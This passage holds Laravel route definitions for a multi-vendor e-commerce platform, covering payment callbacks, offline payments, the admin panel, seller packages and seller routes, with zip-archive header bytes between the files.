'App\Http\Controllers\Api\V2\PaytmController@callback')->name('api.paytm.callback'); Route::get('instamojo/success', 'App\Http\Controllers\Api\V2\InstamojoController@success'); Route::get('instamojo/failed', 'App\Http\Controllers\Api\V2\InstamojoController@failed'); //Payfast routes Route::controller(PayfastController::class)->group(function () { Route::any('/payfast/notify', 'payfast_notify')->name('api.payfast.notify'); Route::any('/payfast/return', 'payfast_return')->name('api.payfast.return'); Route::any('/payfast/cancel', 'payfast_cancel')->name('api.payfast.cancel'); }); //Payfast routes Route::get('/myfatoorah/callback', 'App\Http\Controllers\Api\V2\MyfatoorahController@callback')->name('api.myfatoorah.callback'); Route::any('/phonepe/redirecturl', 'App\Http\Controllers\Api\V2\PhonepeController@phonepe_redirecturl')->name('api.phonepe.redirecturl'); Route::any('/phonepe/callbackUrl', 'App\Http\Controllers\Api\V2\PhonepeController@phonepe_callbackUrl')->name('api.phonepe.callbackUrl'); }); // customer file upload Route::controller(CustomerFileUploadController::class)->middleware('auth:sanctum')->group(function () { Route::post('file/upload', 'upload'); Route::get('file/all', 'index'); Route::get('file/delete/{id}', 'destroy'); }); }); Route::fallback(function () { return response()->json([ 'data' => [], 'success' => false, 'status' => 404, 'message' => 'Invalid Route' ]); });PKrk]ڷ׳offline_payment.phpnu['admin', 'middleware' => ['auth', 'admin']], function(){ Route::resource('manual_payment_methods', ManualPaymentMethodController::class); Route::get('/manual_payment_methods/destroy/{id}', [ManualPaymentMethodController::class, 'destroy'])->name('manual_payment_methods.destroy'); // Offile Orders Route::get('/offline-payment-orders', [OrderController::class, 'all_orders'])->name('offline_payment_orders.index'); // Wallet Recharge Request Route::get('/offline-wallet-recharge-requests', [WalletController::class, 'offline_recharge_request'])->name('offline_wallet_recharge_request.index'); Route::post('/offline-wallet-recharge/approved', [WalletController::class, 'updateApproved'])->name('offline_recharge_request.approved'); // Seller Package purchase request Route::get('/offline-seller-package-payment-requests', [SellerPackagePaymentController::class, 'offline_payment_request'])->name('offline_seller_package_payment_request.index'); Route::post('/offline-seller-package-payment/approved', [SellerPackagePaymentController::class, 'offline_payment_approval'])->name('offline_seller_package_payment.approved'); // customer package purchase request Route::get('/offline-customer-package-payment-requests', [CustomerPackagePaymentController::class, 'offline_payment_request'])->name('offline_customer_package_payment_request.index'); Route::post('/offline-customer-package-payment/approved', [CustomerPackagePaymentController::class, 'offline_payment_approval'])->name('offline_customer_package_payment.approved'); }); //FrontEnd Route::post('/purchase_history/make_payment/submit', [ManualPaymentMethodController::class, 'submit_offline_payment'])->name('purchase_history.make_payment'); Route::post('/offline-wallet-recharge-modal', [ManualPaymentMethodController::class, 'offline_recharge_modal'])->name('offline_wallet_recharge_modal'); Route::group(['middleware' => ['user', 'verified']], function(){ Route::post('/offline-wallet-recharge', [WalletController::class, 'offline_recharge'])->name('wallet_recharge.make_payment'); }); // customer package purchase Route::post('/offline-customer-package-purchase-modal', [ManualPaymentMethodController::class, 'offline_customer_package_purchase_modal'])->name('offline_customer_package_purchase_modal'); Route::post('/offline-customer-package-paymnet', [CustomerPackageController::class, 'purchase_package_offline'])->name('customer_package.make_offline_payment'); // Order Re-Payments Route::post('/offline-order-re-payment-modal', [ManualPaymentMethodController::class, 'offline_order_re_payment_modal'])->name('offline_order_re_payment_modal'); Route::group(['prefix' => 'seller', 'middleware' => ['seller', 'verified', 'user'], 'as' => 'seller.'], function () { // Seller Package purchase Route::post('/offline-seller-package-purchase-modal', [ManualPaymentMethodController::class, 'offline_seller_package_purchase_modal'])->name('offline_seller_package_purchase_modal'); Route::post('/offline-seller-package-paymnet',[SellerPackageController::class, 'purchase_package_offline'])->name('make_offline_payment'); }); PKrk]t0őő admin.phpnu[group(function () { Route::post('/update', 'step0')->name('update'); Route::get('/update/step1', 'step1')->name('update.step1'); Route::get('/update/step2', 'step2')->name('update.step2'); Route::get('/update/step3', 'step3')->name('update.step3'); Route::post('/purchase_code', 'purchase_code')->name('update.code'); }); Route::get('/admin', [AdminController::class, 'admin_dashboard'])->name('admin.dashboard')->middleware(['auth', 'admin', 'prevent-back-history']); Route::group(['prefix' => 'admin', 'middleware' => ['auth', 'admin', 'prevent-back-history']], function () { // category Route::resource('categories', CategoryController::class); Route::controller(CategoryController::class)->group(function () { Route::get('/categories/edit/{id}', 'edit')->name('categories.edit'); Route::get('/categories/destroy/{id}', 'destroy')->name('categories.destroy'); Route::post('/categories/featured', 'updateFeatured')->name('categories.featured'); Route::post('/categories/categoriesByType', 'categoriesByType')->name('categories.categories-by-type'); // category-wise discount set Route::get('/categories-wise-product-discount', 'categoriesWiseProductDiscount')->name('categories_wise_product_discount'); }); // Brand Route::resource('brands', BrandController::class); Route::controller(BrandController::class)->group(function () { Route::get('/brands/edit/{id}', 'edit')->name('brands.edit'); Route::get('/brands/destroy/{id}', 'destroy')->name('brands.destroy'); }); // Warranty Route::resource('warranties', WarrantyController::class); Route::controller(WarrantyController::class)->group(function () { Route::get('/warranties/edit/{id}', 'edit')->name('warranties.edit'); Route::get('/warranties/destroy/{id}', 'destroy')->name('warranties.destroy'); }); Route::controller(BrandBulkUploadController::class)->group(function () { Route::get('/brand-bulk-upload', 'index')->name('brand_bulk_upload.index'); Route::post('/brand-bulk-upload/store', 'bulk_upload')->name('brand_bulk_upload'); }); Route::controller(AdminController::class)->group(function () { Route::post('/dashboard/top-category-products-section', 'top_category_products_section')->name('dashboard.top_category_products_section'); Route::post('/dashboard/inhouse-top-brands', 'inhouse_top_brands')->name('dashboard.inhouse_top_brands'); Route::post('/dashboard/inhouse-top-categories', 'inhouse_top_categories')->name('dashboard.inhouse_top_categories'); Route::post('/dashboard/top-sellers-products-section', 'top_sellers_products_section')->name('dashboard.top_sellers_products_section'); Route::post('/dashboard/top-brands-products-section', 'top_brands_products_section')->name('dashboard.top_brands_products_section'); }); // Products Route::controller(ProductController::class)->group(function () { Route::get('/products/admin', 'admin_products')->name('products.admin'); Route::get('/products/seller/{product_type}', 'seller_products')->name('products.seller'); Route::get('/products/all', 'all_products')->name('products.all'); Route::get('/products/create', 'create')->name('products.create'); Route::post('/products/store/', 'store')->name('products.store'); Route::get('/products/admin/{id}/edit', 'admin_product_edit')->name('products.admin.edit'); Route::get('/products/seller/{id}/edit', 'seller_product_edit')->name('products.seller.edit'); Route::post('/products/update/{product}', 'update')->name('products.update'); Route::post('/products/todays_deal', 'updateTodaysDeal')->name('products.todays_deal'); Route::post('/products/featured', 'updateFeatured')->name('products.featured'); Route::post('/products/published', 'updatePublished')->name('products.published'); Route::post('/products/approved', 'updateProductApproval')->name('products.approved'); Route::post('/products/get_products_by_subcategory', 'get_products_by_subcategory')->name('products.get_products_by_subcategory'); Route::get('/products/duplicate/{id}', 'duplicate')->name('products.duplicate'); Route::get('/products/destroy/{id}', 'destroy')->name('products.destroy'); Route::post('/bulk-product-delete', 'bulk_product_delete')->name('bulk-product-delete'); Route::post('/products/sku_combination', 'sku_combination')->name('products.sku_combination'); Route::post('/products/sku_combination_edit', 'sku_combination_edit')->name('products.sku_combination_edit'); Route::post('/products/add-more-choice-option', 'add_more_choice_option')->name('products.add-more-choice-option'); Route::post('/product-search', 'product_search')->name('product.search'); Route::post('/get-selected-products', 'get_selected_products')->name('get-selected-products'); Route::post('/set-product-discount', 'setProductDiscount')->name('set_product_discount'); }); // Digital Product Route::resource('digitalproducts', DigitalProductController::class); Route::controller(DigitalProductController::class)->group(function () { Route::get('/digitalproducts/edit/{id}', 'edit')->name('digitalproducts.edit'); Route::get('/digitalproducts/destroy/{id}', 'destroy')->name('digitalproducts.destroy'); Route::get('/digitalproducts/download/{id}', 'download')->name('digitalproducts.download'); }); Route::controller(ProductBulkUploadController::class)->group(function () { //Product Export Route::get('/product-bulk-export', 'export')->name('product_bulk_export.index'); //Product Bulk Upload Route::get('/product-bulk-upload/index', 'index')->name('product_bulk_upload.index'); Route::post('/bulk-product-upload', 'bulk_upload')->name('bulk_product_upload'); Route::get('/product-csv-download/{type}', 'import_product')->name('product_csv.download'); Route::get('/vendor-product-csv-download/{id}', 'import_vendor_product')->name('import_vendor_product.download'); Route::group(['prefix' => 'bulk-upload/download'], function () { Route::get('/category', 'pdf_download_category')->name('pdf.download_category'); Route::get('/brand', 'pdf_download_brand')->name('pdf.download_brand'); Route::get('/seller', 'pdf_download_seller')->name('pdf.download_seller'); }); }); // Note Route::resource('note', NoteController::class); Route::controller(NoteController::class)->group(function () { Route::get('/note/edit/{id}', 'edit')->name('note.edit'); Route::get('note/delete/{note}', 'destroy')->name('note.delete'); Route::post('note/update-seller-access', 'updateSelelrAccess')->name('note.update-seller-access'); }); // Seller Route::resource('sellers', SellerController::class); Route::controller(SellerController::class)->group(function () { Route::get('/seller/rating-followers', 'index')->name('sellers.rating_followers'); Route::get('sellers_ban/{id}', 'ban')->name('sellers.ban'); Route::get('/sellers/destroy/{id}', 'destroy')->name('sellers.destroy'); Route::post('/bulk-seller-delete', 'bulk_seller_delete')->name('bulk-seller-delete'); Route::get('/sellers/view/{id}/verification', 'show_verification_request')->name('sellers.show_verification_request'); Route::get('/sellers/approve/{id}', 'approve_seller')->name('sellers.approve'); Route::get('/sellers/reject/{id}', 'reject_seller')->name('sellers.reject'); Route::get('/sellers/login/{id}', 'login')->name('sellers.login'); Route::post('/sellers/payment_modal', 'payment_modal')->name('sellers.payment_modal'); Route::post('/sellers/profile_modal', 'profile_modal')->name('sellers.profile_modal'); Route::post('/sellers/approved', 'updateApproved')->name('sellers.approved'); Route::post('/sellers/set-commission', 'setSellerBasedCommission')->name('set_seller_based_commission'); Route::post('/sellers/edit-custom-followers', 'editSellerCustomFollowers')->name('edit_Seller_custom_followers'); }); // Seller Payment Route::controller(PaymentController::class)->group(function () { Route::get('/seller/payments', 'payment_histories')->name('sellers.payment_histories'); Route::get('/seller/payments/show/{id}', 'show')->name('sellers.payment_history'); }); // Seller Withdraw Request Route::resource('/withdraw_requests', SellerWithdrawRequestController::class); Route::controller(SellerWithdrawRequestController::class)->group(function () { Route::get('/withdraw_requests_all', 'index')->name('withdraw_requests_all'); Route::post('/withdraw_request/payment_modal', 'payment_modal')->name('withdraw_request.payment_modal'); Route::post('/withdraw_request/message_modal', 'message_modal')->name('withdraw_request.message_modal'); }); // Customer Route::resource('customers', CustomerController::class); Route::controller(CustomerController::class)->group(function () { Route::get('customers_ban/{customer}', 'ban')->name('customers.ban'); Route::get('/customers/login/{id}', 'login')->name('customers.login'); Route::get('/customers/destroy/{id}', 'destroy')->name('customers.destroy'); Route::post('/bulk-customer-delete', 'bulk_customer_delete')->name('bulk-customer-delete'); }); // Newsletter Route::controller(NewsletterController::class)->group(function () { Route::get('/newsletter', 'index')->name('newsletters.index'); Route::post('/newsletter/send', 'send')->name('newsletters.send'); Route::post('/newsletter/test/smtp', 'testEmail')->name('test.smtp'); }); // Dynamic Popup Route::resource('dynamic-popups', DynamicPopupController::class); Route::controller(DynamicPopupController::class)->group(function () { Route::get('/dynamic-popups/destroy/{id}', 'destroy')->name('dynamic-popups.destroy'); Route::post('/bulk-dynamic-popup-delete', 'bulk_dynamic_popup_delete')->name('bulk-dynamic-popup-delete'); Route::post('/dynamic-popups-update-status', 'update_status')->name('dynamic-popups.update-status'); }); // Custom Alert Route::resource('custom-alerts', CustomAlertController::class); Route::controller(CustomAlertController::class)->group(function () { Route::get('/custom-alerts/destroy/{id}', 'destroy')->name('custom-alerts.destroy'); Route::post('/bulk-custom-alerts-delete', 'bulk_custom_alerts_delete')->name('bulk-custom-alerts-delete'); Route::post('/custom-alerts-update-status', 'update_status')->name('custom-alerts.update-status'); }); //Contacts Route::controller(ContactController::class)->group(function () { Route::get('/contacts', 'index')->name('contacts'); Route::post('/contact/query_modal', 'query_modal')->name('contact.query_modal'); Route::post('/contact/reply_modal', 'reply_modal')->name('contact.reply_modal'); Route::post('/contact/reply', 'reply')->name('contact.reply'); }); Route::resource('profile', ProfileController::class); // Business Settings Route::controller(BusinessSettingsController::class)->group(function () { Route::post('/business-settings/update', 'update')->name('business_settings.update'); Route::post('/business-settings/update/activation', 'updateActivationSettings')->name('business_settings.update.activation'); Route::post('/payment-activation', 'updatePaymentActivationSettings')->name('payment.activation'); Route::get('/general-setting', 'general_setting')->name('general_setting.index'); Route::get('/activation', 'activation')->name('activation.index'); Route::get('/payment-method', 'payment_method')->name('payment_method.index'); Route::get('/file_system', 'file_system')->name('file_system.index'); Route::get('/social-login', 'social_login')->name('social_login.index'); Route::get('/smtp-settings', 'smtp_settings')->name('smtp_settings.index'); Route::get('/google-analytics', 'google_analytics')->name('google_analytics.index'); Route::get('/google-recaptcha', 'google_recaptcha')->name('google_recaptcha.index'); Route::get('/google-map', 'google_map')->name('google-map.index'); Route::get('/google-firebase', 'google_firebase')->name('google-firebase.index'); //Facebook Settings Route::get('/facebook-chat', 'facebook_chat')->name('facebook_chat.index'); Route::post('/facebook_chat', 'facebook_chat_update')->name('facebook_chat.update'); Route::get('/facebook-comment', 'facebook_comment')->name('facebook-comment'); Route::post('/facebook-comment', 'facebook_comment_update')->name('facebook-comment.update'); Route::post('/facebook_pixel', 'facebook_pixel_update')->name('facebook_pixel.update'); Route::post('/env_key_update', 'env_key_update')->name('env_key_update.update'); Route::post('/payment_method_update', 'payment_method_update')->name('payment_method.update'); Route::post('/google_analytics', 'google_analytics_update')->name('google_analytics.update'); Route::post('/google_recaptcha', 'google_recaptcha_update')->name('google_recaptcha.update'); Route::post('/google-map', 'google_map_update')->name('google-map.update'); Route::post('/google-firebase', 'google_firebase_update')->name('google-firebase.update'); Route::get('/verification/form', 'seller_verification_form')->name('seller_verification_form.index'); Route::post('/verification/form', 'seller_verification_form_update')->name('seller_verification_form.update'); Route::get('/vendor_commission', 'vendor_commission')->name('business_settings.vendor_commission'); //Shipping Configuration Route::get('/shipping_configuration', 'shipping_configuration')->name('shipping_configuration.index'); Route::post('/shipping_configuration/update', 'shipping_configuration_update')->name('shipping_configuration.update'); // Order Configuration Route::get('/order-configuration', 'order_configuration')->name('order_configuration.index'); }); //Currency Route::controller(CurrencyController::class)->group(function () { Route::get('/currency', 'currency')->name('currency.index'); Route::post('/currency/update', 'updateCurrency')->name('currency.update'); Route::post('/your-currency/update', 'updateYourCurrency')->name('your_currency.update'); Route::get('/currency/create', 'create')->name('currency.create'); Route::post('/currency/store', 'store')->name('currency.store'); Route::post('/currency/currency_edit', 'edit')->name('currency.edit'); Route::post('/currency/update_status', 'update_status')->name('currency.update_status'); }); //Tax Route::resource('tax', TaxController::class); Route::controller(TaxController::class)->group(function () { Route::get('/tax/edit/{id}', 'edit')->name('tax.edit'); Route::get('/tax/destroy/{id}', 'destroy')->name('tax.destroy'); Route::post('tax-status', 'change_tax_status')->name('taxes.tax-status'); }); // Language Route::resource('/languages', LanguageController::class); Route::controller(LanguageController::class)->group(function () { Route::post('/languages/{id}/update', 'update')->name('languages.update'); Route::get('/languages/destroy/{id}', 'destroy')->name('languages.destroy'); Route::post('/languages/update_rtl_status', 'update_rtl_status')->name('languages.update_rtl_status'); Route::post('/languages/update-status', 'update_status')->name('languages.update-status'); Route::post('/languages/key_value_store', 'key_value_store')->name('languages.key_value_store'); //App Trasnlation Route::post('/languages/app-translations/import', 'importEnglishFile')->name('app-translations.import'); Route::get('/languages/app-translations/show/{id}', 'showAppTranlsationView')->name('app-translations.show'); Route::post('/languages/app-translations/key_value_store', 'storeAppTranlsation')->name('app-translations.store'); Route::get('/languages/app-translations/export/{id}', 'exportARBFile')->name('app-translations.export'); }); // website setting Route::group(['prefix' => 'website'], function () { Route::controller(WebsiteController::class)->group(function () { Route::get('/footer', 'footer')->name('website.footer'); Route::get('/header', 'header')->name('website.header'); Route::get('/appearance', 'appearance')->name('website.appearance'); Route::get('/select-homepage', 'select_homepage')->name('website.select-homepage'); Route::get('/authentication-layout-settings', 'authentication_layout_settings')->name('website.authentication-layout-settings'); Route::get('/pages', 'pages')->name('website.pages'); }); // Custom Page Route::resource('custom-pages', PageController::class); Route::controller(PageController::class)->group(function () { Route::get('/custom-pages/edit/{id}', 'edit')->name('custom-pages.edit'); Route::get('/custom-pages/destroy/{id}', 'destroy')->name('custom-pages.destroy'); }); }); // Staff Roles Route::resource('roles', RoleController::class); Route::controller(RoleController::class)->group(function () { Route::get('/roles/edit/{id}', 'edit')->name('roles.edit'); Route::get('/roles/destroy/{id}', 'destroy')->name('roles.destroy'); // Add Permissiom Route::post('/roles/add_permission', 'add_permission')->name('roles.permission'); }); // Staff Route::resource('staffs', StaffController::class); Route::get('/staffs/destroy/{id}', [StaffController::class, 'destroy'])->name('staffs.destroy'); // Flash Deal Route::resource('flash_deals', FlashDealController::class); Route::controller(FlashDealController::class)->group(function () { Route::get('/flash_deals/edit/{id}', 'edit')->name('flash_deals.edit'); Route::get('/flash_deals/destroy/{id}', 'destroy')->name('flash_deals.destroy'); Route::post('/flash_deals/update_status', 'update_status')->name('flash_deals.update_status'); Route::post('/flash_deals/update_featured', 'update_featured')->name('flash_deals.update_featured'); Route::post('/flash_deals/product_discount', 'product_discount')->name('flash_deals.product_discount'); Route::post('/flash_deals/product_discount_edit', 'product_discount_edit')->name('flash_deals.product_discount_edit'); }); //Subscribers Route::controller(SubscriberController::class)->group(function () { Route::get('/subscribers', 'index')->name('subscribers.index'); Route::get('/subscribers/destroy/{id}', 'destroy')->name('subscriber.destroy'); }); // Order Route::resource('orders', OrderController::class); Route::controller(OrderController::class)->group(function () { // All Orders Route::get('/all_orders', 'all_orders')->name('all_orders.index'); Route::get('/inhouse-orders', 'all_orders')->name('inhouse_orders.index'); Route::get('/seller_orders', 'all_orders')->name('seller_orders.index'); Route::get('/orders_by_pickup_point', 'all_orders')->name('pick_up_point.index'); Route::get('/unpaid_orders', 'all_orders')->name('unpaid_orders.index'); Route::get('/orders/{id}/show', 'show')->name('all_orders.show'); Route::get('/inhouse-orders/{id}/show', 'show')->name('inhouse_orders.show'); Route::get('/seller_orders/{id}/show', 'show')->name('seller_orders.show'); Route::get('/orders_by_pickup_point/{id}/show', 'show')->name('pick_up_point.order_show'); Route::post('/bulk-order-status', 'bulk_order_status')->name('bulk-order-status'); Route::get('/orders/destroy/{id}', 'destroy')->name('orders.destroy'); Route::post('/bulk-order-delete', 'bulk_order_delete')->name('bulk-order-delete'); Route::get('/orders/destroy/{id}', 'destroy')->name('orders.destroy'); Route::post('/orders/details', 'order_details')->name('orders.details'); Route::post('/orders/update_delivery_status', 'update_delivery_status')->name('orders.update_delivery_status'); Route::post('/orders/update_payment_status', 'update_payment_status')->name('orders.update_payment_status'); Route::post('/orders/update_tracking_code', 'update_tracking_code')->name('orders.update_tracking_code'); //Delivery Boy Assign Route::post('/orders/delivery-boy-assign', 'assign_delivery_boy')->name('orders.delivery-boy-assign'); // Order bulk export Route::get('/order-bulk-export', 'orderBulkExport')->name('order-bulk-export'); // Route::post('order-payment-notification', 'unpaid_order_payment_notification_send')->name('unpaid_order_payment_notification'); }); Route::post('/pay_to_seller', [CommissionController::class, 'pay_to_seller'])->name('commissions.pay_to_seller'); //Reports Route::controller(ReportController::class)->group(function () { Route::get('/in_house_sale_report', 'in_house_sale_report')->name('in_house_sale_report.index'); Route::get('/seller_sale_report', 'seller_sale_report')->name('seller_sale_report.index'); Route::get('/stock_report', 'stock_report')->name('stock_report.index'); Route::get('/wish_report', 'wish_report')->name('wish_report.index'); Route::get('/user_search_report', 'user_search_report')->name('user_search_report.index'); Route::get('/commission-log', 'commission_history')->name('commission-log.index'); Route::get('/wallet-history', 'wallet_transaction_history')->name('wallet-history.index'); }); // Earning Report Route::group(['prefix' => 'reports'], function () { Route::get('/earning-payout-report', [EarningReportController::class, 'index'])->name('earning_payout_report.index'); Route::post('/earning-payout-report/net-sales', [EarningReportController::class, 'net_sales']); Route::post('/earning-payout-report/payouts', [EarningReportController::class, 'payouts']); Route::post('/earning-payout-report/sale-analytic', [EarningReportController::class, 'sale_analytic']); Route::post('/earning-payout-report/payout-analytic', [EarningReportController::class, 'payout_analytic']); }); //Blog Section //Blog cateory Route::resource('blog-category', BlogCategoryController::class); Route::get('/blog-category/destroy/{id}', [BlogCategoryController::class, 'destroy'])->name('blog-category.destroy'); // Blog Route::resource('blog', BlogController::class); Route::controller(BlogController::class)->group(function () { Route::get('/blog/destroy/{id}', 'destroy')->name('blog.destroy'); Route::post('/blog/change-status', 'change_status')->name('blog.change-status'); }); //Coupons Route::resource('coupon', CouponController::class); Route::controller(CouponController::class)->group(function () { Route::post('/coupon/update-status', 'updateStatus')->name('coupon.update_status'); Route::get('/coupon/destroy/{id}', 'destroy')->name('coupon.destroy'); //Coupon Form Route::post('/coupon/get_form', 'get_coupon_form')->name('coupon.get_coupon_form'); Route::post('/coupon/get_form_edit', 'get_coupon_form_edit')->name('coupon.get_coupon_form_edit'); }); //Reviews Route::controller(ReviewController::class)->group(function () { Route::get('/reviews', 'index')->name('reviews.index'); Route::post('/reviews/published', 'updatePublished')->name('reviews.published'); Route::get('/reviews/detail-reviews/{id}', 'detailReviews')->name('detail-reviews'); Route::get('/reviews/destroy', 'destroy')->name('reviews.destroy'); Route::get('/custom-review/create/{productId?}', 'customReviewCreate')->name('custom-review.create'); Route::get('/custom-review/edit/{id}', 'customReviewEdit')->name('custom-review.edit'); Route::post('/custom-review/update', 'customReviewUpdate')->name('custom-review.update'); Route::post('/custom-review/get-products', 'getProductByCategory')->name('get-custom-review-product-by-category'); }); //Support_Ticket Route::controller(SupportTicketController::class)->group(function () { Route::get('support_ticket/', 'admin_index')->name('support_ticket.admin_index'); Route::get('support_ticket/{id}/show', 'admin_show')->name('support_ticket.admin_show'); Route::post('support_ticket/reply', 'admin_store')->name('support_ticket.admin_store'); }); // Email Template Route::resource('email-templates', EmailTemplateController::class); Route::controller(EmailTemplateController::class)->group(function () { Route::get('/email-template/{id}', 'index')->name('email-templates.index'); Route::post('/email-template/update-status', 'updateStatus')->name('email-template.update-status'); }); //Pickup_Points Route::resource('pick_up_points', PickupPointController::class); Route::controller(PickupPointController::class)->group(function () { Route::get('/pick_up_points/edit/{id}', 'edit')->name('pick_up_points.edit'); Route::get('/pick_up_points/destroy/{id}', 'destroy')->name('pick_up_points.destroy'); }); //conversation of seller customer Route::controller(ConversationController::class)->group(function () { Route::get('conversations', 'admin_index')->name('conversations.admin_index'); Route::get('conversations/{id}/show', 'admin_show')->name('conversations.admin_show'); }); // product Queries show on Admin panel Route::controller(ProductQueryController::class)->group(function () { Route::get('/product-queries', 'index')->name('product_query.index'); Route::get('/product-queries/{id}', 'show')->name('product_query.show'); Route::put('/product-queries/{id}', 'reply')->name('product_query.reply'); }); // Product Attribute Route::resource('attributes', AttributeController::class); Route::controller(AttributeController::class)->group(function () { Route::get('/attributes/edit/{id}', 'edit')->name('attributes.edit'); Route::get('/attributes/destroy/{id}', 'destroy')->name('attributes.destroy'); //Attribute Value Route::post('/store-attribute-value', 'store_attribute_value')->name('store-attribute-value'); Route::get('/edit-attribute-value/{id}', 'edit_attribute_value')->name('edit-attribute-value'); Route::post('/update-attribute-value/{id}', 'update_attribute_value')->name('update-attribute-value'); Route::get('/destroy-attribute-value/{id}', 'destroy_attribute_value')->name('destroy-attribute-value'); //Colors Route::get('/colors', 'colors')->name('colors'); Route::post('/colors/store', 'store_color')->name('colors.store'); Route::get('/colors/edit/{id}', 'edit_color')->name('colors.edit'); Route::post('/colors/update/{id}', 'update_color')->name('colors.update'); Route::get('/colors/destroy/{id}', 'destroy_color')->name('colors.destroy'); }); // Size Chart Route::resource('size-charts', SizeChartController::class); Route::get('/size-charts/destroy/{id}', [SizeChartController::class, 'destroy'])->name('size-charts.destroy'); Route::post('size-charts/get-combination', [SizeChartController::class, 'get_combination'])->name('size-charts.get-combination'); // Measurement Points Route::resource('measurement-points', MeasurementPointsController::class); Route::get('/measurement-points/destroy/{id}', [MeasurementPointsController::class, 'destroy'])->name('measurement-points.destroy'); // Addon Route::resource('addons', AddonController::class); Route::post('/addons/activation', [AddonController::class, 'activation'])->name('addons.activation'); //Customer Package Route::resource('customer_packages', CustomerPackageController::class); Route::controller(CustomerPackageController::class)->group(function () { Route::get('/customer_packages/edit/{id}', 'edit')->name('customer_packages.edit'); Route::get('/customer_packages/destroy/{id}', 'destroy')->name('customer_packages.destroy'); }); //Classified Products Route::controller(CustomerProductController::class)->group(function () { Route::get('/classified_products', 'customer_product_index')->name('classified_products'); Route::post('/classified_products/published', 'updatePublished')->name('classified_products.published'); Route::get('/classified_products/destroy/{id}', 'destroy_by_admin')->name('classified_products.destroy'); }); // Countries Route::resource('countries', CountryController::class); Route::post('/countries/status', [CountryController::class, 'updateStatus'])->name('countries.status'); // States Route::resource('states', StateController::class); Route::post('/states/status', [StateController::class, 'updateStatus'])->name('states.status'); // Carriers Route::resource('carriers', CarrierController::class); Route::controller(CarrierController::class)->group(function () { Route::get('/carriers/destroy/{id}', 'destroy')->name('carriers.destroy'); Route::post('/carriers/update_status', 'updateStatus')->name('carriers.update_status'); }); // Zones Route::resource('zones', ZoneController::class); Route::get('/zones/destroy/{id}', [ZoneController::class, 'destroy'])->name('zones.destroy'); Route::resource('cities', CityController::class); Route::controller(CityController::class)->group(function () { Route::get('/cities/edit/{id}', 'edit')->name('cities.edit'); Route::get('/cities/destroy/{id}', 'destroy')->name('cities.destroy'); Route::post('/cities/status', 'updateStatus')->name('cities.status'); }); Route::view('/system/update', 'backend.system.update')->name('system_update'); Route::view('/system/server-status', 'backend.system.server_status')->name('system_server'); Route::view('/system/import-demo-data', 'backend.system.import_demo_data')->name('import_demo_data'); Route::post('/import-data', [BusinessSettingsController::class, 'import_data'])->name('import_data'); // uploaded files Route::resource('/uploaded-files', AizUploadController::class); Route::controller(AizUploadController::class)->group(function () { Route::any('/uploaded-files/file-info', 'file_info')->name('uploaded-files.info'); Route::get('/uploaded-files/destroy/{id}', 'destroy')->name('uploaded-files.destroy'); Route::post('/bulk-uploaded-files-delete', 'bulk_uploaded_files_delete')->name('bulk-uploaded-files-delete'); Route::get('/all-file', 'all_file'); }); Route::controller(NotificationController::class)->group(function () { Route::get('/all-notifications', 'adminIndex')->name('admin.all-notifications'); Route::get('/notification-settings', 'notificationSettings')->name('notification.settings'); Route::post('/notifications/bulk-delete', 'bulkDeleteAdmin')->name('admin.notifications.bulk_delete'); Route::get('/notification/read-and-redirect/{id}', 'readAndRedirect')->name('admin.notification.read-and-redirect'); Route::get('/custom-notification', 'customNotification')->name('custom_notification'); Route::post('/custom-notification/send', 'sendCustomNotification')->name('custom_notification.send'); Route::get('/custom-notification/history', 'customNotificationHistory')->name('custom_notification.history'); Route::get('/custom-notifications.delete/{identifier}', 'customNotificationSingleDelete')->name('custom-notifications.delete'); Route::post('/custom-notifications.bulk_delete', 'customNotificationBulkDelete')->name('custom-notifications.bulk_delete'); Route::post('/custom-notified-customers-list', 'customNotifiedCustomersList')->name('custom_notified_customers_list'); }); Route::resource('notification-type', NotificationTypeController::class); Route::controller(NotificationTypeController::class)->group(function () { Route::get('/notification-type/edit/{id}', 'edit')->name('notification-type.edit'); Route::post('/notification-type/update-status', 'updateStatus')->name('notification-type.update-status'); Route::get('/notification-type/destroy/{id}', 'destroy')->name('notification-type.destroy'); Route::post('/notification-type/bulk_delete', 'bulkDelete')->name('notifications-type.bulk_delete'); Route::post('/notification-type.get-default-text', 'getDefaulText')->name('notification_type.get_default_text'); }); Route::get('/clear-cache', [AdminController::class, 'clearCache'])->name('cache.clear'); Route::get('/admin-permissions', [RoleController::class, 'create_admin_permissions']); }); PKrk]q$seller_package.phpnu['admin', 'middleware' => ['auth', 'admin']], function(){ Route::resource('seller_packages', SellerPackageController::class); Route::controller(SellerPackageController::class)->group(function () { Route::get('/seller_packages/edit/{id}', 'edit')->name('seller_packages.edit'); Route::get('/seller_packages/destroy/{id}', 'destroy')->name('seller_packages.destroy'); }); }); //FrontEnd Route::group(['middleware' => ['seller']], function(){ Route::controller(SellerPackageController::class)->group(function () { Route::get('/seller/seller-packages', 'seller_packages_list')->name('seller.seller_packages_list'); Route::get('/seller/packages-payment-list', 'packages_payment_list')->name('seller.packages_payment_list'); Route::post('/seller_packages/purchase', 'purchase_package')->name('seller_packages.purchase'); }); }); Route::get('/seller_packages/check_for_invalid', [SellerPackageController::class, 'unpublish_products'])->name('seller_packages.unpublish_products'); PKrk]H%[ŵ%% seller.phpnu[ 'seller', 'middleware' => ['seller', 'verified', 'user', 'prevent-back-history'], 'as' => 'seller.'], function () { Route::controller(AizUploadController::class)->group(function () { Route::any('/uploads', 'index')->name('uploaded-files.index'); Route::any('/uploads/create', 'create')->name('uploads.create'); Route::any('/uploads/file-info', 'file_info')->name('my_uploads.info'); Route::get('/uploads/destroy/{id}', 'destroy')->name('my_uploads.destroy'); Route::post('/bulk-uploaded-files-delete', 'bulk_uploaded_files_delete')->name('bulk-uploaded-files-delete'); }); }); Route::group(['namespace' => 'App\Http\Controllers\Seller', 'prefix' => 'seller', 'middleware' => ['seller', 'verified', 'user', 'prevent-back-history'], 'as' => 'seller.'], function () { Route::controller(DashboardController::class)->group(function () { Route::get('/dashboard', 'index')->name('dashboard'); }); // Product Route::controller(ProductController::class)->group(function () { Route::get('/products', 'index')->name('products'); Route::get('/product/create', 'create')->name('products.create'); Route::post('/products/store/', 'store')->name('products.store'); Route::get('/product/{id}/edit', 'edit')->name('products.edit'); Route::post('/products/update/{product}', 'update')->name('products.update'); Route::get('/products/duplicate/{id}', 'duplicate')->name('products.duplicate'); Route::post('/products/sku_combination', 'sku_combination')->name('products.sku_combination'); Route::post('/products/sku_combination_edit', 'sku_combination_edit')->name('products.sku_combination_edit'); Route::post('/products/add-more-choice-option', 'add_more_choice_option')->name('products.add-more-choice-option'); Route::post('/products/seller/featured', 'updateFeatured')->name('products.featured'); Route::post('/products/published', 